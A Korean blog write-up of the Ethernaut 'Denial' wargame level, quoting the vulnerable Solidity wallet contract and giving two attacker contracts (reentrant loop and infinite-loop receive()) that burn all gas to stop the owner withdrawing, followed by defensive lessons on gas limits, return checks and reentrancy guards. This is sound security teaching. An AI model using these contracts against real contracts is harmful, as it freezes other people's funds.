티스토리 뷰
1. 문제
This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call `withdraw()` (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
2. 풀이
Denial 컨트랙트에 자금이 남아있고 소유자가 1만 이하의 가스를 사용해서 withdraw 함수를 호출했을 때 출금이 불가능하게 만들어야 합니다. withdraw 함수는 우선 전송할 금액을 계산하여 call 함수를 사용해서 partner에게 먼저 보내고, owner에게 보낸 다음 상태를 갱신합니다. 여기서 눈치채셨다시피 자금을 인출하는데 어떠한 제약조건도 붙어있지 않습니다. 그리고 자금을 전송하고 나서 상태를 갱신하는데 이는 이전에 Re-entrancy 문제에서 다루었듯이 재진입 공격에 굉장히 취약한 패턴입니다. 심지어 call 함수의 결과를 확인하지도 않네요. 문제가 굉장히 많습니다.
결과적으로 인출이 불가능하게 하려면 재진입 공격을 통해 함수가 정상적으로 종료되지 못하도록 가스를 모두 소모해 버리면 됩니다. 제가 작성한 컨트랙트는 다음과 같습니다. withdraw 함수에서 자금을 보내면 receive 함수가 발동하여 받은 이더를 다시 전송하고 Denial 컨트랙트의 withdraw 함수를 호출하여 재진입합니다. 이런 식으로 withdraw 함수를 빠져나가지 못하게 루프를 만들어 가스비를 모두 소모해 보겠습니다.
contract Attack {
address public denial;
constructor(address _denial) {
denial = _denial;
(bool ok, ) = denial.call(abi.encodeWithSelector(Denial.setWithdrawPartner.selector, address(this)));
if (!ok) {
revert();
}
}
receive() external payable {
if (msg.sender == denial) {
(bool ok, ) = payable(denial).call{value: msg.value}("");
if (!ok) {
revert();
}
(ok, ) = payable(denial).call(abi.encodeWithSelector(Denial.withdraw.selector));
if (!ok) {
revert();
}
}
}
}
Attack 컨트랙트를 배포합니다. 인수로는 Denial 컨트랙트의 주소를 사용합니다.
이번 문제는 컨트랙트를 배포하고 별다른 액션을 취할 필요 없이 바로 인스턴스를 제출하면 됩니다. 소유자 측에서 withdraw 함수를 호출하면 Attack 컨트랙트의 receive가 실행되는 식으로 공격을 실행하기 때문입니다.
인스턴스를 제출하고 다음과 같이 콘솔창에 로그가 찍히면 공격이 성공한 것입니다. 이렇게 문제 풀이를 마무리합니다.
사실은 while 루프를 사용해서 더 간단하게 풀 수 있습니다.
contract Attack {
address public denial;
constructor(address _denial) {
denial = _denial;
(bool ok, ) = denial.call(abi.encodeWithSelector(Denial.setWithdrawPartner.selector, address(this)));
if (!ok) {
revert();
}
}
receive() external payable {
while (true) {}
}
}
3. 시사점
call 함수
solidity에서 이더를 전송하기 위해 사용하는 함수는 다음과 같이 세 가지가 있습니다. 이 중에 call은 유일하게 사용할 가스 양을 명시할 수 있는데, 이를 명시하지 않으면 현재 남은 모든 가스를 전달합니다.
transfer | send | call | |
가스비 | 2,300 | 2,300 | 지정 가능, 그렇지 않으면 남은 모든 가스를 전달 |
실패 시 | revert | false 반환 | false 반환 |
call 함수를 사용할 때는 불필요하게 가스를 낭비하는 것을 방지하기 위해 사용할 가스 양을 명시해 주는 것이 좋습니다. 또한 함수 실행 결과로 반환되는 불리언 값을 반드시 확인하여 예외처리를 확실히 해줘야 합니다.
재진입 공격
재진입 공격을 방지하려면 checks-effects-interactions 패턴을 적용하거나 Reentrancy Guard 또는 둘 다 적용해 주는 것이 좋습니다. 이와 관련해서는 제가 이전에 작성한 게시글을 참고해 주세요!
'Solidity > Hacking' 카테고리의 다른 글
[Ethernaut] 22. Dex (0) | 2024.02.03 |
---|---|
[Ethernaut] 21. Shop (0) | 2024.02.02 |
[Ethernaut] 19. Alien Codex (1) | 2024.01.31 |
[Ethernaut] 17. Recovery (1) | 2024.01.30 |
[Ethernaut] 16. Preservation (0) | 2024.01.29 |